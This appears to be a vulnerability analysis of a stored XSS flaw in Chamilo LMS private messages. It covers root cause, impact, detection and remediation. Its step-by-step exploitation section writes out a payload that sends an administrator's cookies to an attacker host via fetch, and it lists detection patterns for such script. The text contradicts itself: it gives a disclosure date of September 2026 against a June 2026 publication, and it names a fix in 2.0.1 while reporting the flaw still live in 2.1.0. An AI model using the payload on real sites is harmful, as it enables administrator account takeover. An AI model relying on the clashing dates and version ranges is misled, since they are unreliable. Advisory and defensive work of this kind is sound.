CVE-2026-45143: 
Chamilo vulnerability analysis and mitigation

CVE-2026-45143 is a stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS that allows any authenticated low-privilege user (including students) to inject malicious JavaScript into private messages that executes in an administrator's browser upon inbox access. The vulnerability affects Chamilo LMS versions 2.0.0 through at least 2.1.0, and was disclosed on September 17, 2026, with a fix available in version 2.0.1. It was reported by Jan Kahmen of turingpoint and published as GitHub Security Advisory GHSA-x88v-rg6r-vqq6. The CVSS v3.1 base score is 9.0 (Critical) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), arising from two distinct rendering paths that both lack sanitization. In the Vue.js frontend, assets/vue/views/message/MessageShow.vue renders message content via v-html="item.content" without wrapping it in sanitizeHtml(). In the legacy Twig path, public/main/template/default/message/view_message.html.twig renders content inside a {% autoescape false %} block, bypassing Twig's default escaping. The MessageVoter::CREATE authorization check imposes no role restriction on recipients, meaning any authenticated user — including those with ROLE_STUDENT — can send a crafted message directly to /api/users/1 (the admin). The payload fires automatically when the recipient opens their inbox, requiring no link click from the victim (GitHub Advisory, Patch Commit).

Successful exploitation enables a student-level attacker to achieve full administrator account takeover by exfiltrating session cookies, JWT tokens, or localStorage credentials from the administrator's browser. Because the payload executes in the admin's authenticated session context, the attacker can also perform any privileged action on the platform — such as modifying course content, creating accounts, or accessing private user data — without the administrator's knowledge. The scope change (CVSS S:C) reflects that the impact extends beyond the messaging component to the entire Chamilo platform and its users (GitHub Advisory).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires only a low-privilege authenticated account and no interaction beyond the victim's routine inbox check, making it straightforward to weaponize once an attacker has any valid account on the platform (Feedly, GitHub Advisory).

1. Obtain a low-privilege account: Register or obtain any authenticated account on the target Chamilo LMS instance (e.g., a student account).
2. Identify the administrator's user ID: Query the API endpoint /api/users or enumerate user profiles to identify the administrator's user ID (commonly /api/users/1).
3. Craft a malicious message: Compose a private message with an XSS payload in the content field, such as <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> or a <script> tag that exfiltrates session tokens.
4. Send the message to the administrator: Submit the message via the Chamilo messaging API, specifying the administrator as the recipient. The MessageVoter::CREATE check does not restrict which users can be targeted.
5. Wait for the administrator to open their inbox: When the administrator performs their routine inbox check, the Vue.js component renders the message content via v-html without sanitization, executing the payload in the admin's browser session.
6. Collect exfiltrated credentials: Receive the stolen session cookie, JWT, or localStorage token at the attacker-controlled server and use it to authenticate as the administrator (GitHub Advisory, Patch Commit).

• Network: Outbound HTTP requests from an administrator's browser to unexpected external domains shortly after accessing the Chamilo inbox; unusual GET/POST requests to attacker-controlled URLs containing encoded cookie or token data.
• Logs: Chamilo application logs showing a low-privilege user (student role) sending messages to high-privilege user IDs (e.g., /api/users/1) with unusually large or HTML-heavy content payloads; web server access logs showing API calls to /api/messages with suspicious content bodies.
• File System: No direct file system artifacts expected for this XSS attack, as the payload executes in-browser and is stored in the database.
• Database: Message records in the message table where content contains <script>, onerror=, onload=, fetch(, or other JavaScript event handler patterns sent from student-role accounts to administrator accounts.

The primary remediation is to upgrade Chamilo LMS to version 2.0.1, which introduces a MessageNormalizer that applies Security::remove_XSS() to message content during API normalization, wraps sanitizeHtml() around v-html in MessageShow.vue, and removes the {% autoescape false %} block from view_message.html.twig (Patch Commit, v2.0.1 Release). As interim workarounds for organizations unable to patch immediately: implement a Content Security Policy (CSP) header that blocks inline script execution; restrict message-sending permissions to trusted user roles only if the platform configuration allows it; and monitor outbound network requests from administrator browser sessions for anomalies (GitHub Advisory).

The vulnerability was reported by Jan Kahmen of turingpoint (jan@turingpoint.de) and published by Chamilo maintainer ywarnier as a Critical GitHub Security Advisory on June 9, 2026. The advisory was verified live on Chamilo 2.1.0 (commit b543d3a), indicating the issue persisted beyond the initially stated 2.0.0 version range. No significant broader media coverage or notable social media commentary has been identified beyond the official advisory and vulnerability database entries (GitHub Advisory).